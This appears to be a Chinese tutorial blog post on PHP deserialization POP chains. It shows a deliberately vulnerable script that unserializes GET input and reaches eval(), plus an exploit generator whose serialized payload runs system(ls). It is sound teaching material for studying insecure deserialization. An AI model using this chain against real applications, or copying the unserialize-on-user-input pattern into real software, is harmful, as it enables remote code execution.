【重庆橙子科技】了解调用链

pop链小例子,源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();//2 evil
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;//1 shell
    public function action(){
        eval($this->test2);
    }
}
$a=new evil();
$a->test2="system(ls);";
$b=new index();
echo urlencode(serialize($b));
?>

重点

1.对于私有属性如何赋值
第一种:可以把new放到__construct(),对源代码没什么影响,因为在源码中反序列化时,没有用到__construct()。

public function __construct(){
    $this->test = new evil();
}

第二种:把private改成public,把序列化的结果加上%00index%00test 

2.对于在序列化时没有用到的类,应该可以先不用看。但要在反序列化时看有什么用。

相关推荐

  1. 重庆橙子科技了解调用

    2024-05-13 09:50:07       9 阅读
  2. 调用概念

    2024-05-13 09:50:07       31 阅读
  3. 防止重复调用

    2024-05-13 09:50:07       7 阅读
  4. 使用GPT大模型调用工具

    2024-05-13 09:50:07       31 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-05-13 09:50:07       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-13 09:50:07       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-13 09:50:07       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-13 09:50:07       18 阅读

热门阅读

  1. 大型ERP设计-业务与功能指引:物料库存状态

    2024-05-13 09:50:07       15 阅读
  2. shell编程

    2024-05-13 09:50:07       11 阅读
  3. Kafka 面试题(八)

    2024-05-13 09:50:07       10 阅读
  4. C语言每日一题—约瑟夫问题

    2024-05-13 09:50:07       9 阅读
  5. Excel生成符合标准正态分布的随机数

    2024-05-13 09:50:07       14 阅读
  6. C++:完美转发(二)(std::forward)

    2024-05-13 09:50:07       13 阅读
  7. MFC:鼠标左键

    2024-05-13 09:50:07       10 阅读
  8. Redis——Redis 3.0之前各大厂商的集群方案

    2024-05-13 09:50:07       11 阅读
  9. HTML5

    HTML5

    2024-05-13 09:50:07      8 阅读
  10. Python中如何将小数转化为百分数进行输出

    2024-05-13 09:50:07       10 阅读
  11. 多线程之交替输出abc

    2024-05-13 09:50:07       12 阅读
  12. css基础之用户界面样式、导航栏和三角

    2024-05-13 09:50:07       15 阅读